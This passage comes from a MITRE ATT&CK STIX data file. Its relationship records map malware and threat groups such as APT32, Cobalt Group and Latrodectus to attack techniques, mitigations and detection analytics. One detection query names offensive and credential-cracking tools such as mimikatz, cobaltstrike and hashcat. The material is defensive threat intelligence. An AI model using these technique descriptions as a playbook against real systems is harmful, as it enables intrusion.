2020)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--70b511c9-5a2c-4810-87b6-73dfc648ec29","type":"relationship","created":"2020-06-23T19:03:15.337Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-07-26T22:49:23.251Z","description":"Anti-virus can be used to automatically quarantine suspicious files. ","relationship_type":"mitigates","source_ref":"course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--70b67b3f-7706-41aa-8330-58323a8553fc","created":"2024-04-10T15:16:26.458Z","revoked":false,"external_references":[{"source_name":"FireEye TRITON 2019","description":"Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T15:16:26.458Z","description":"(Citation: FireEye TRITON 2019)","relationship_type":"uses","source_ref":"campaign--7ec2826c-0bf0-4b47-acae-fd683431a4ca","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--70b94aa6-7cf1-4cf5-b00b-aed156036f1e","type":"relationship","created":"2020-06-11T16:18:16.767Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.400Z","description":"[Avenger](https://attack.mitre.org/software/S0473) has the ability to decrypt files downloaded from C2.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--36ede314-7db4-4d09-b53d-81bbfbe5f6f8","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--70bc1a16-3c57-4198-b2f9-c7f27bec271c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","source_name":"FireEye APT32 May 2017"}],"modified":"2020-03-16T18:30:14.861Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has used legitimate local admin account credentials.(Citation: FireEye APT32 May 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--70bed654-4c16-456a-8691-4f2bf1c916cc","type":"relationship","created":"2021-05-26T15:09:52.202Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."},{"source_name":"CISA AR21-126A FIVEHANDS May 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a","description":"CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021."}],"modified":"2021-06-08T13:29:06.848Z","description":"[SombRAT](https://attack.mitre.org/software/S0615) can execute getinfo to identify the username on a compromised host.(Citation: BlackBerry CostaRicto November 2020)(Citation: CISA AR21-126A FIVEHANDS May 2021)","relationship_type":"uses","source_ref":"malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--70c0fd33-8091-4e58-896b-0be55429ee91","created":"2022-05-05T17:50:25.030Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Gelsemium](https://attack.mitre.org/software/S0666) has the ability to use DNS in communication with C2.(Citation: ESET Gelsemium June 2021)","modified":"2022-05-05T17:50:25.030Z","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--70c290d2-6dfc-47bf-9901-c320798989fb","created":"2024-02-14T20:39:43.549Z","revoked":false,"external_references":[{"source_name":"Trellix Darkgate 2023","description":"Ernesto Fernández Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.","url":"https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-14T20:39:43.550Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) executes a Windows Batch script during installation that creases a randomly-named directory in the C:\\\\ root directory that copies and renames the legitimate Windows curl command to this new location.(Citation: Trellix Darkgate 2023)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--70c29cd1-53a2-48a6-8f94-515e7812013b","type":"relationship","created":"2021-03-01T21:23:22.795Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AppleJeus Feb 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-048a","description":"Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021."}],"modified":"2021-03-01T21:23:22.795Z","description":"[AppleJeus](https://attack.mitre.org/software/S0584) has collected the victim host information after infection.(Citation: CISA AppleJeus Feb 2021)","relationship_type":"uses","source_ref":"malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--70c5c2c4-9971-42d8-a94a-8b46ffec3a80","created":"2023-08-11T20:52:30.473Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T18:01:46.927Z","description":"Monitor for newly executed processes that may match or approximate the name or location of legitimate files or resources when naming/placing them. Looks for mismatches between process names and their image paths.Malware authors often use this technique to hide malicious executables behind legitimate Windows executable names (e.g. lsass.exe, svchost.exe, etc).\nThere are several sub-techniques, but this analytic focuses on [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005) only.\n\nNote: With process monitoring, hunt for processes matching these criteria:\n\n- process name is svchost.exe, smss.exe, wininit.exe, taskhost.exe, etc.\n- process path is not C:\\Windows\\System32\\ or C:\\Windows\\SysWow64\\\n\nExamples (true positive):\nC:\\Users\\administrator\\svchost.exe\n\nTo make sure the rule doesn’t miss cases where the executable would be started from a sub-folder of these locations, the entire path is checked for the process path. The below example should be considered as suspicious: C:\\Windows\\System32\\srv\\svchost.exe\n\nAnalytic 1 - Common Windows Process Masquerading\n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\")\nAND ( (Image=svchost.exe AND (image_path!=\"C:\\\\Windows\\\\System32\\\\svchost.exe\" OR process_path!=\"C:\\\\Windows\\\\SysWow64\\\\svchost.exe\"))\n OR (Image=\"*smss.exe\" AND image_path!=\"C:\\\\Windows\\\\System32\\\\smss.exe\")\n OR (Image=\"wininit.exe\" AND image_path!=\"C:\\\\Windows\\\\System32\\\\wininit.exe\")\n OR (Image=\"taskhost.exe\" AND image_path!=\"C:\\\\Windows\\\\System32\\\\taskhost.exe\")\n OR (Image=\"lasass.exe\" AND image_path!=\"C:\\\\Windows\\\\System32\\\\lsass.exe\")\n OR (Image=\"winlogon.exe\" AND image_path!=\"C:\\\\Windows\\\\System32\\\\winlogon.exe\")\n OR (Image=\"csrss.exe\" AND image_path!=\"C:\\\\Windows\\\\System32\\\\csrss.exe\")\n OR (Image=\"services.exe\" AND image_path!=\"C:\\\\Windows\\\\System32\\\\services.exe\")\n OR (Image=\"lsm.exe\" AND image_path!=\"C:\\\\Windows\\\\System32\\\\lsm.exe\")\n OR (Image=\"explorer.exe\" AND image_path!=\"C:\\\\Windows\\\\explorer.exe\")","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--70c9262b-0a90-4c78-ba50-b968aa056246","created":"2022-04-28T16:06:49.395Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T18:46:20.650Z","description":"Monitor for newly executed processes that may indicate attempts to exploit vulnerabilities for credential access.\n\nAnalytic 1 - Unexpected process creation related to exploitation tools or techniques.\n\n (index=security sourcetype=\"WinEventLog:Security\" EventCode=4688) OR \n(index=security sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=1) OR \n(index=os sourcetype=\"linux_secure\" action=\"execve\") OR \n(index=os sourcetype=\"macos_secure\" event_type=\"execve\") | where match(Image, \"(?i)(msfconsole|metasploit|mimikatz|powersploit|empire|cobaltstrike|responder|kerberoast|john|hashcat|rcrack|hydra|medusa|ncrack|patator)\")","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--70ceb05c-ed86-4b51-bde0-2455662c30b7","created":"2022-02-01T15:11:34.836Z","x_mitre_version":"1.0","external_references":[{"source_name":"MSTIC Nobelium Oct 2021","url":"https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/","description":"Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: MSTIC Nobelium Oct 2021)","modified":"2022-04-13T14:35:36.904Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--70d06758-46ce-47b9-a3af-ff341d210a4a","created":"2024-09-17T18:39:32.036Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitsight Latrodectus June 2024","description":"Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.","url":"https://www.bitsight.com/blog/latrodectus-are-you-coming-back"},{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"},{"source_name":"Elastic Latrodectus May 2024","description":"Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.","url":"https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-18T20:00:07.109Z","description":"[Latrodectus](https://attack.mitre.org/software/S1160) can download and execute PEs, DLLs, and shellcode from C2.(Citation: Latrodectus APR 2024)(Citation: Elastic Latrodectus May 2024)(Citation: Bitsight Latrodectus June 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--70d1a246-4ff2-452d-babf-ed47bccbf1c4","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro Cobalt Group Nov 2017","description":"Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/"},{"source_name":"RiskIQ Cobalt Jan 2018","description":"Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018.","url":"https://web.archive.org/web/20190508170147/https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/"},{"source_name":"Group IB Cobalt Aug 2017","description":"Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.","url":"https://www.group-ib.com/blog/cobalt"},{"source_name":"PTSecurity Cobalt Dec 2016","description":"Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.","url":"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf"},{"source_name":"PTSecurity Cobalt Group Aug 2017","description":"Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.","url":"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf"},{"source_name":"Talos Cobalt Group July 2018","description":"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.","url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-23T14:05:37.625Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) has used powershell.exe to download and execute scripts.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)(Citation: RiskIQ Cobalt Jan 2018)(Citation: TrendMicro Cobalt Group Nov 2017)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--70d446a5-349f-4b70-9446-90e872adac42","type":"relationship","created":"2019-06-24T16:21:04.539Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-17T12:40:55.391Z","description":"Ensure that all wired and/or wireless traffic is encrypted appropriately. Use best practices for authentication protocols, such as Kerberos, and ensure web traffic that may contain credentials is protected by SSL/TLS.","relationship_type":"mitigates","source_ref":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","target_ref":"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--70d5a73c-cc14-410a-a430-5948cd21532f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit Part 1","description":"ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf"},{"description":"Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.","url":"https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html","source_name":"Talos Seduploader Oct 2017"}],"modified":"2020-01-17T22:27:28.384Z","description":"[JHUHUGIT](https://attack.mitre.org/software/S0044) has registered a Windows shell script under the Registry key HKCU\\Environment\\UserInitMprLogonScript to establish persistence.(Citation: ESET Sednit Part 1)(Citation: Talos Seduploader Oct 2017)","relationship_type":"uses","source_ref":"malware--8ae43c46-57ef-47d5-a77a-eebb35628db2","target_ref":"attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--70d725a6-f1d8-46e5-b857-b0cbd0249d6b","created":"2024-05-22T21:22:38.391Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T21:22:38.391Z","description":"[IPsec Helper](https://attack.mitre.org/software/S1132) can make arbitrary changes to registry keys based on provided input.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"malware--b5dc19b7-588d-403b-848d-c868bd61ffa1","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--70d81631-4f33-4fd0-98ac-15b57b8c1ed1","type":"relationship","created":"2021-01-13T18:23:50.493Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike SUNSPOT Implant January 2021","url":"https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/","description":"CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."}],"modified":"2021-01-14T21:54:18.050Z","description":"[SUNSPOT](https://attack.mitre.org/software/S0562) only replaces SolarWinds Orion source code if the MD5 checksums of both the original source code file and backdoored replacement source code match hardcoded values.(Citation: CrowdStrike SUNSPOT Implant January 2021) ","relationship_type":"uses","source_ref":"malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6","target_ref":"attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--70dc4dfe-c859-4665-88d7-ff724d88380b","created":"2022-10-13T17:19:04.454Z","revoked":false,"external_references":[{"source_name":"Korean FSI TA505 2020","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T17:19:04.454Z","description":"[SDBbot](https://attack.mitre.org/software/S0461) can collected the country code of a compromised machine.(Citation: Korean FSI TA505 2020)","relationship_type":"uses","source_ref":"malware--92b03a94-7147-4952-9d5a-b4d24da7487c","target_ref":"attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--70dc6b5c-c524-429e-a6ab-0dd40f0482c1","type":"relationship","created":"2017-05-31T21:33:27.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/","description":"ThreatConnect Research Team. (2015, February 27). The Anthem Hack: All Roads Lead to China. Retrieved January 26, 2016.","source_name":"ThreatConnect Anthem"}],"modified":"2019-03-22T20:09:34.803Z","description":"(Citation: ThreatConnect Anthem)","relationship_type":"uses","source_ref":"intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064","target_ref":"malware--96b08451-b27a-4ff6-893f-790e26393a8e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--70e7b609-b57d-4c71-931e-b8a658b0ba0d","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets","description":"Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.","source_name":"Symantec Thrip June 2018"}],"modified":"2019-03-25T17:06:37.193Z","description":"(Citation: Symantec Thrip June 2018)","relationship_type":"uses","source_ref":"intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--70e81cc7-9dd6-4349-b7ab-212a46591cff","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Naid June 2012","description":"Neville, A. (2012, June 15). Trojan.Naid. Retrieved February 22, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99"}],"modified":"2018-10-17T00:14:20.652Z","description":"[Naid](https://attack.mitre.org/software/S0205) collects a unique identifier (UID) from a compromised host.(Citation: Symantec Naid June 2012)","relationship_type":"uses","source_ref":"malware--48523614-309e-43bf-a2b8-705c2b45d7b2","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--70ed2026-90af-4236-8180-2c095bbce0fe","type":"relationship","created":"2020-06-19T20:39:21.805Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-19T20:39:21.805Z","description":"[Denis](https://attack.mitre.org/software/S0354) replaces the nonexistent Windows DLL \"msfte.dll\" with its own malicious version, which is loaded by the SearchIndexer.exe and SearchProtocolHost.exe.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--70edcba2-e777-4ced-a52d-5dfc3965211c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye POSHSPY April 2017","description":"Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"}],"modified":"2019-04-24T23:41:40.089Z","description":"[POSHSPY](https://attack.mitre.org/software/S0150) appends a file signature header (randomly selected from six file types) to encrypted data prior to upload or download.(Citation: FireEye POSHSPY April 2017)","relationship_type":"uses","source_ref":"malware--5e595477-2e78-4ce7-ae42-e0b059b17808","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--70efcdd6-80c3-4f95-981b-4da24639f32b","created":"2023-06-19T19:51:32.086Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-06-19T19:52:24.034Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) has the ability to move data between its kernel and user 